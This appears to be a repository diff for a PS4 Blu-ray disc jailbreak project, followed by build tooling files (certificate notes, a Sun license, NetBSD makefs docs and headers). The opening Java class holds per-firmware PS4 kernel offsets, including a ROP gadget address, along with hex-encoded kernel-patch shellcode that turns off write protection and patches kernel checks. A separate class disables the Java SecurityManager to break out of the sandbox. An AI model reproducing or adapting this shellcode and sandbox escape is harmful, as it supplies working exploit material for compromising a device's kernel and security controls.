public static final int PS4_OFF_TCLASS = 0xb0;
public static final int PS4_OFF_IP6PO_RTHDR = 0x68;
private static Hashtable ps4KernelOffsets;
private static Hashtable shellcodeData;
private static String currentFirmware = null;
static {
initializePS4Offsets();
initializeShellcodes();
}
private static void initializePS4Offsets() {
ps4KernelOffsets = new Hashtable();
// PS4 9.00
addFirmwareOffsets("9.00", 0x7f6f27L, 0x111f870L, 0x21eff20L, 0x221688dL, 0x1107f00L, 0x4c7adL, 0x3977F0);
// PS4 9.03/9.04
addFirmwareOffsets("9.03", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0);
addFirmwareOffsets("9.04", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0);
// PS4 9.50/9.51/9.60
addFirmwareOffsets("9.50", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
addFirmwareOffsets("9.51", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
addFirmwareOffsets("9.60", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
// PS4 10.00/10.01
addFirmwareOffsets("10.00", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10);
addFirmwareOffsets("10.01", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10);
// PS4 10.50/10.70/10.71
addFirmwareOffsets("10.50", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
addFirmwareOffsets("10.70", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
addFirmwareOffsets("10.71", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
// PS4 11.00
addFirmwareOffsets("11.00", 0x7fc26fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10);
// PS4 11.02
addFirmwareOffsets("11.02", 0x7fc22fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10);
// PS4 11.50/11.52
addFirmwareOffsets("11.50", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20);
addFirmwareOffsets("11.52", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20);
// PS4 12.00/12.02
addFirmwareOffsets("12.00", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20);
addFirmwareOffsets("12.02", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20);
// PS4 12.50/12.52, fill only really needed ones
addFirmwareOffsets("12.50", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 0xE6C20);
addFirmwareOffsets("12.52", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 0xE6C20);
}
private static void initializeShellcodes() {
shellcodeData = new Hashtable();
shellcodeData.put("9.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b08000000000066448989c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("9.03", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b0800000000006644898994ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("9.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00ebc7813d6d1900000000006644898924f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("10.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600ebc7817d2039000000000066448989a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("10.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb0000006689811330210041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800ebc781eeb2470000000000668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("11.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300ebc781eec8350000000000668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("11.02", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300ebc7810ec935000000000066898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("11.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900ebc781aebe2f000000000066898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("12.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900ebc781eec02f000000000066898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("12.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
shellcodeData.put("9.04", shellcodeData.get("9.03"));
shellcodeData.put("9.51", shellcodeData.get("9.50"));
shellcodeData.put("9.60", shellcodeData.get("9.50"));
shellcodeData.put("10.01", shellcodeData.get("10.00"));
shellcodeData.put("10.70", shellcodeData.get("10.50"));
shellcodeData.put("10.71", shellcodeData.get("10.50"));
shellcodeData.put("11.52", shellcodeData.get("11.50"));
shellcodeData.put("12.02", shellcodeData.get("12.00"));
shellcodeData.put("12.52", shellcodeData.get("12.50"));
}
private static void addFirmwareOffsets(String fw, long evf, long prison0, long rootvnode,
long targetId, long sysent661, long jmpRsi, long klLock) {
Hashtable offsets = new Hashtable();
offsets.put("EVF_OFFSET", new Long(evf));
offsets.put("PRISON0", new Long(prison0));
offsets.put("ROOTVNODE", new Long(rootvnode));
offsets.put("TARGET_ID_OFFSET", new Long(targetId));
offsets.put("SYSENT_661_OFFSET", new Long(sysent661));
offsets.put("JMP_RSI_GADGET", new Long(jmpRsi));
offsets.put("KL_LOCK", new Long(klLock));
ps4KernelOffsets.put(fw, offsets);
}
public static String getFirmwareVersion() {
if (currentFirmware == null) {
currentFirmware = Helper.getCurrentFirmwareVersion();
}
return currentFirmware;
}
public static boolean hasPS4Offsets() {
return ps4KernelOffsets.containsKey(getFirmwareVersion());
}
public static long getPS4Offset(String offsetName) {
String fw = getFirmwareVersion();
Hashtable offsets = (Hashtable)ps4KernelOffsets.get(fw);
if (offsets == null) {
throw new RuntimeException("No offsets available for firmware " + fw);
}
Long offset = (Long)offsets.get(offsetName);
if (offset == null) {
throw new RuntimeException("Offset " + offsetName + " not found for firmware " + fw);
}
return offset.longValue();
}
public static boolean shouldApplyKernelPatches() {
return hasPS4Offsets() && hasShellcodeForCurrentFirmware();
}
public static byte[] getKernelPatchesShellcode() {
String firmware = getFirmwareVersion();
String shellcode = (String)shellcodeData.get(firmware);
if (shellcode == null || shellcode.length() == 0) {
return new byte[0];
}
return hexToBinary(shellcode);
}
public static boolean hasShellcodeForCurrentFirmware() {
String firmware = getFirmwareVersion();
return shellcodeData.containsKey(firmware);
}
private static byte[] hexToBinary(String hex) {
byte[] result = new byte[hex.length() / 2];
for (int i = 0; i < result.length; i++) {
int index = i * 2;
int value = Integer.parseInt(hex.substring(index, index + 2), 16);
result[i] = (byte)value;
}
return result;
}
// Initialize method to set firmware from Helper
public static void initializeFromHelper() {
String helperFirmware = Helper.getCurrentFirmwareVersion();
if (helperFirmware != null) {
currentFirmware = helperFirmware;
}
}
}

1294
src/org/bdj/external/Lapse.java vendored Normal file

File diff suppressed because it is too large Load Diff

1078
src/org/bdj/external/Poops.java vendored Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,26 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package org.bdj.sandbox;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
private DisableSecurityManagerAction() {
}
public Object run() {
System.setSecurityManager(null);
return System.getSecurityManager();
}
public static SecurityManager execute() throws PrivilegedActionException {
return (SecurityManager) AccessController.doPrivileged(new DisableSecurityManagerAction());
}
}

5
thirdparty/bd-certificates/README.txt vendored Normal file
View File

@@ -0,0 +1,5 @@
Both BD-JB and BDJ-SDK include these exact keys:
https://github.com/TheOfficialFloW/bd-jb
https://github.com/john-tornblom/bdj-sdk/
These are probably generated by BDCertGenerator from the HD Cookbook.

Binary file not shown.

Binary file not shown.

BIN
thirdparty/bd-certificates/id.bdmv vendored Normal file

Binary file not shown.

Binary file not shown.

2
thirdparty/bd-stubs/README.txt vendored Normal file
View File

@@ -0,0 +1,2 @@
interactive.zip retrieved from:
https://github.com/zathras/java.net/tree/90817788f5b393243d89de9ea9f569121a48429d/hdcookbook/lib/stubs/interactive

BIN
thirdparty/bd-stubs/interactive.zip vendored Normal file

Binary file not shown.

52
thirdparty/bd-tools/LICENSE vendored Normal file
View File

@@ -0,0 +1,52 @@
Copyright (c) 2007, Sun Microsystems, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Sun Microsystems nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Note: In order to comply with the binary form redistribution
requirement in the above license, the licensee may include
a URL reference to a copy of the required copyright notice,
the list of conditions and the disclaimer in a human readable
file with the binary form of the code that is subject to the
above license. For example, such file could be put on a
Blu-ray disc containing the binary form of the code or could
be put in a JAR file that is broadcast via a digital television
broadcast medium. In any event, you must include in any end
user licenses governing any code that includes the code subject
to the above license (in source and/or binary form) a disclaimer
that is at least as protective of Sun as the disclaimers in the
above license.
A copy of the required copyright notice, the list of conditions and
the disclaimer will be maintained at
https://hdcookbook.dev.java.net/misc/license.html .
Thus, licensees may comply with the binary form redistribution
requirement with a text file that contains the following text:
A copy of the license(s) governing this code is located
at https://hdcookbook.dev.java.net/misc/license.html

10
thirdparty/bd-tools/README vendored Normal file
View File

@@ -0,0 +1,10 @@
bcprov-jdk15-137.jar, jdktools.jar and security.jar retrieved from BDJ-SDK:
https://github.com/john-tornblom/bdj-sdk/tree/master/host/lib
bdjo.jar, id.jar, index.jar and movieobject.jar retrieved from zathras/java.net:
https://github.com/zathras/java.net/releases/tag/1.2
These tools are part of the HD Cookbook:
https://hdcookbook.jovial.com/
https://github.com/zathras/java.net/tree/master/hdcookbook/DiscCreationTools
https://github.com/oliverlietz/bd-j/tree/master/DiscCreationTools

44
thirdparty/makefs/Makefile vendored Normal file
View File

@@ -0,0 +1,44 @@
# $NetBSD: Makefile,v 1.36 2013/08/05 14:41:57 reinoud Exp $
#
CFLAGS=`pkg-config --cflags libbsd-overlay`
LDFLAGS=`pkg-config --libs libbsd-overlay`
WARNS?= 5
# .include <bsd.own.mk>
PROG= makefs
SRCS= udf.c strstuff.c \
makefs.c \
walk.c
MAN= makefs.8
#CC= clang
DESTDIR ?= /usr/local
MKNODSRC= ${NETBSDSRCDIR}/sbin/mknod
MTREESRC= ${NETBSDSRCDIR}/usr.sbin/mtree
CPPFLAGS+= -I${.CURDIR} -I${MKNODSRC} -I${MTREESRC} -DMAKEFS
#CPPFLAGS+= -DMSDOSFS_DEBUG
#PATH: ${MKNODSRC} ${MTREESRC}
#.include "${.CURDIR}/cd9660/Makefile.inc"
#.include "${.CURDIR}/chfs/Makefile.inc"
#.include "${.CURDIR}/ffs/Makefile.inc"
#.include "${.CURDIR}/v7fs/Makefile.inc"
#.include "${.CURDIR}/msdos/Makefile.inc"
SRCS+= udf_core.c udf_osta.c
#if !defined(HOSTPROG)
DPADD+= ${LIBUTIL} ${LIBM}
LDADD+= -lutil -lm
#endif
prog:
${CC} -o $(PROG) $(SRCS) $(CFLAGS) $(LDFLAGS) -D_GNU_SOURCE -std=c11 -lm -I./udf -static
install:
install -D $(PROG) $(DESTDIR)/bin/$(PROG)
#.include <bsd.prog.mk>
# DO NOT DELETE

135
thirdparty/makefs/README.orig vendored Normal file
View File

@@ -0,0 +1,135 @@
$NetBSD: README,v 1.7 2015/01/12 19:50:47 christos Exp $
makefs - build a file system image from a directory tree
NOTES:
* This tool uses modified local copies of source found in other
parts of the tree. This is intentional.
* makefs is a work in progress, and subject to change.
user overview:
--------------
makefs creates a file system image from a given directory tree.
the following file system types can be built:
cd9660 ISO 9660 file system
chfs "Chip" file system, for flash devices
ffs BSD fast file system
msdos MS-DOS `FAT' file system (FAT12, FAT16, FAT32)
udf Universal Disk Format file system
v7fs 7th edition(V7) file system
Support for the following file systems maybe be added in the future
ext2fs Linux EXT2 file system
Various file system independent parameters and contraints can be
specified, such as:
- minimum file system size (in KB)
- maximum file system size (in KB)
- free inodes
- free blocks (in KB)
- mtree(8) specification file containing permissions and ownership
to use in image, overridding the settings in the directory tree
- file containing list of files to specifically exclude or include
- fnmatch(3) pattern of filenames to exclude or include
- endianness of target file system
File system specific parameters can be given as well, with a command
line option such as "-o fsspeccific-options,comma-separated".
For example, ffs would allow tuning of:
- block & fragment size
- cylinder groups
- number of blocks per inode
- minimum free space
Other file systems might have controls on how to "munge" file names to
fit within the constraints of the target file system.
Exit codes:
0 all ok
1 fatal error
2 some files couldn't be added during image creation
(bad perms, missing file, etc). image will continue
to be made
Implementation overview:
------------------------
The implementation must allow for easy addition of extra file systems
with minimal changes to the file system independent sections.
The main program will:
- parse the options, including calling fs-specific routines to
validate fs-specific options
- walk the tree, building up a data structure which represents
the tree to stuff into the image. The structure will
probably be a similar tree to what mtree(8) uses internally;
a linked list of entries per directory with a child pointer
to children of directories. ".." won't be stored in the list;
the fs-specific tree walker should add this if required by the fs.
this builder have the smarts to handle hard links correctly.
- (optionally) Change the permissions in the tree according to
the mtree(8) specfile
- Call an fs-specific routine to build the image based on the
data structures.
Each fs-specific module should have the following external interfaces:
prepare_options optional file system specific defaults that need to be
setup before parsing fs-specific options.
parse_options parse the string for fs-specific options, feeding
errors back to the user as appropriate
cleanup_options optional file system specific data that need to be
cleaned up when done with this filesystem.
make_fs take the data structures representing the
directory tree and fs parameters,
validate that the parameters are valid
(e.g, the requested image will be large enough),
create the image, and
populate the image
prepare_options and cleanup_options are optional and can be NULL.
NOTE: All file system specific options are referenced via the fs_specific
pointer from the fsinfo_t strucutre. It is up to the filesystem to allocate
and free any data needed for this via the prepare and cleanup callbacks.
Each fs-specific module will need to add its routines to the dispatch array
in makefs.c and add prototypes for these to makefs.h
All other implementation details should not need to change any of the
generic code.
ffs implementation
------------------
In the ffs case, we can leverage off sbin/newfs/mkfs.c to actually build
the image. When building and populating the image, the implementation
can be greatly simplified if some assumptions are made:
- the total required size (in blocks and inodes) is determined
as part of the validation phase
- a "file" (including a directory) has a known size, so
support for growing a file is not necessary
Two underlying primitives are provided:
make_inode create an inode, returning the inode number
write_file write file (from memory if DIR, file descriptor
if FILE or SYMLINK), referencing given inode.
it is smart enough to know if a short symlink
can be stuffed into the inode, etc.
When creating a directory, the directory entries in the previously
built tree data structure is scanned and built in memory so it can
be written entirely as a single write_file() operation.

7
thirdparty/makefs/README.txt vendored Normal file
View File

@@ -0,0 +1,7 @@
This is a Linux port of NetBSD makefs:
https://github.com/Randrianasulu/makefs_termux
https://github.com/NetBSD/src/tree/trunk/usr.sbin/makefs
As retrieved from BDJ-SDK:
https://github.com/john-tornblom/bdj-sdk/tree/master/host/src
https://github.com/john-tornblom/makefs_termux/tree/dc7e09b66b5900763299add245d6bb327882292e

41
thirdparty/makefs/TODO vendored Normal file
View File

@@ -0,0 +1,41 @@
$NetBSD: TODO,v 1.7 2007/12/10 23:54:35 dyoung Exp $
todo
----
- read files from multiple directories with or without root
specification, e.g., makefs -t cd9660 output.iso dir1 root2=dir2
dir3 root4=dir4
- display block numbers for a given file (e.g, /boot)
- finish makefs.8
- testing
- even more testing
- add support for converting a tar file (instead of a directory tree);
suggested by kpneal@pobox.com
outstanding bugs
----------------
- size estimation is still out (need to take into account indirect blocks!)
- parameter checking when density is rather high or low.
- filling up a file system (running out of inodes or whatever)
doesn't do the right thing.
discuss
-------
- consider replacing ffs_balloc() et al with own code that doesn't
need hacked-up buf.c code
- whacking on newfs/mkfs.c to allow .PATH-ing directly into makefs(8).
this would involve passing all of mkfs()'s parameters in a single
struct rather than a lot of global vars, etc.

2149
thirdparty/makefs/cd9660.c vendored Normal file

File diff suppressed because it is too large Load Diff

357
thirdparty/makefs/cd9660.h vendored Normal file
View File

@@ -0,0 +1,357 @@
/* $NetBSD: cd9660.h,v 1.20 2013/01/29 15:52:25 christos Exp $ */
/*
* Copyright (c) 2005 Daniel Watt, Walter Deignan, Ryan Gabrys, Alan
* Perez-Rathke and Ram Vedam. All rights reserved.
*
* This code was written by Daniel Watt, Walter Deignan, Ryan Gabrys,
* Alan Perez-Rathke and Ram Vedam.
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY DANIEL WATT, WALTER DEIGNAN, RYAN
* GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL DANIEL WATT, WALTER DEIGNAN, RYAN
* GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE,DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*/
#ifndef _MAKEFS_CD9660_H
#define _MAKEFS_CD9660_H
#if HAVE_NBTOOL_CONFIG_H
#include "nbtool_config.h"
#endif
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <limits.h>
#include <sys/queue.h>
#include <sys/param.h>
#include <sys/endian.h>
#include "makefs.h"
#include "iso.h"
#include "iso_rrip.h"
#include "cd9660/cd9660_eltorito.h"
#ifdef DEBUG
#define INODE_WARNX(__x) warnx __x
#else /* DEBUG */
#define INODE_WARNX(__x)
#endif /* DEBUG */
#define CD9660MAXPATH 4096
#define ISO_STRING_FILTER_NONE = 0x00
#define ISO_STRING_FILTER_DCHARS = 0x01
#define ISO_STRING_FILTER_ACHARS = 0x02
/*
Extended preferences type, in the spirit of what makefs gives us (only ints)
*/
typedef struct {
const char *shortName; /* Short option */
const char *name; /* option name */
char *value; /* where to stuff the value */
int minLength; /* minimum for value */
int maxLength; /* maximum for value */
const char *desc; /* option description */
int filterFlags;
} string_option_t;
/******** STRUCTURES **********/
/*Defaults*/
#define ISO_DEFAULT_VOLUMEID "MAKEFS_CD9660_IMAGE"
#define ISO_DEFAULT_APPID "MAKEFS"
#define ISO_DEFAULT_PUBLISHER "MAKEFS"
#define ISO_DEFAULT_PREPARER "MAKEFS"
#define ISO_VOLUME_DESCRIPTOR_STANDARD_ID "CD001"
#define ISO_VOLUME_DESCRIPTOR_BOOT 0
#define ISO_VOLUME_DESCRIPTOR_PVD 1
#define ISO_VOLUME_DESCRIPTOR_TERMINATOR 255
/*30 for name and extension, as well as version number and padding bit*/
#define ISO_FILENAME_MAXLENGTH_BEFORE_VERSION 30
#define ISO_FILENAME_MAXLENGTH 36
#define ISO_FILENAME_MAXLENGTH_WITH_PADDING 37
#define ISO_FLAG_CLEAR 0x00
#define ISO_FLAG_HIDDEN 0x01
#define ISO_FLAG_DIRECTORY 0x02
#define ISO_FLAG_ASSOCIATED 0x04
#define ISO_FLAG_PERMISSIONS 0x08
#define ISO_FLAG_RESERVED5 0x10
#define ISO_FLAG_RESERVED6 0x20
#define ISO_FLAG_FINAL_RECORD 0x40
#define ISO_PATHTABLE_ENTRY_BASESIZE 8
#define ISO_RRIP_DEFAULT_MOVE_DIR_NAME "RR_MOVED"
#define RRIP_DEFAULT_MOVE_DIR_NAME ".rr_moved"
#define CD9660_BLOCKS(__sector_size, __bytes) \
howmany((__bytes), (__sector_size))
#define CD9660_MEM_ALLOC_ERROR(_F) \
err(EXIT_FAILURE, "%s, %s l. %d", _F, __FILE__, __LINE__)
#define CD9660_TYPE_FILE 0x01
#define CD9660_TYPE_DIR 0x02
#define CD9660_TYPE_DOT 0x04
#define CD9660_TYPE_DOTDOT 0x08
#define CD9660_TYPE_VIRTUAL 0x80
#define CD9660_INODE_HASH_SIZE 1024
#define CD9660_SECTOR_SIZE 2048
#define CD9660_END_PADDING 150
/* Slight modification of the ISO structure in iso.h */
typedef struct _iso_directory_record_cd9660 {
u_char length [ISODCL (1, 1)]; /* 711 */
u_char ext_attr_length [ISODCL (2, 2)]; /* 711 */
u_char extent [ISODCL (3, 10)]; /* 733 */
u_char size [ISODCL (11, 18)]; /* 733 */
u_char date [ISODCL (19, 25)]; /* 7 by 711 */
u_char flags [ISODCL (26, 26)];
u_char file_unit_size [ISODCL (27, 27)]; /* 711 */
u_char interleave [ISODCL (28, 28)]; /* 711 */
u_char volume_sequence_number [ISODCL (29, 32)]; /* 723 */
u_char name_len [ISODCL (33, 33)]; /* 711 */
char name [ISO_FILENAME_MAXLENGTH_WITH_PADDING];
} iso_directory_record_cd9660;
/* TODO: Lots of optimization of this structure */
typedef struct _cd9660node {
u_char type;/* Used internally */
/* Tree structure */
struct _cd9660node *parent; /* parent (NULL if root) */
TAILQ_HEAD(cd9660_children_head, _cd9660node) cn_children;
TAILQ_ENTRY(_cd9660node) cn_next_child;
struct _cd9660node *dot_record; /* For directories, used mainly in RRIP */
struct _cd9660node *dot_dot_record;
fsnode *node; /* pointer to fsnode */
struct _iso_directory_record_cd9660 *isoDirRecord;
struct iso_extended_attributes *isoExtAttributes;
/***** SIZE CALCULATION *****/
/*already stored in isoDirRecord, but this is an int version, and will be
copied to isoDirRecord on writing*/
uint32_t fileDataSector;
/*
* same thing, though some notes:
* If a file, this is the file size
* If a directory, this is the size of all its children's
* directory records
* plus necessary padding
*/
int64_t fileDataLength;
int64_t fileSectorsUsed;
int fileRecordSize;/*copy of a variable, int for quicker calculations*/
/* Old name, used for renaming - needs to be optimized but low priority */
char o_name [ISO_FILENAME_MAXLENGTH_WITH_PADDING];
/***** SPACE RESERVED FOR EXTENSIONS *****/
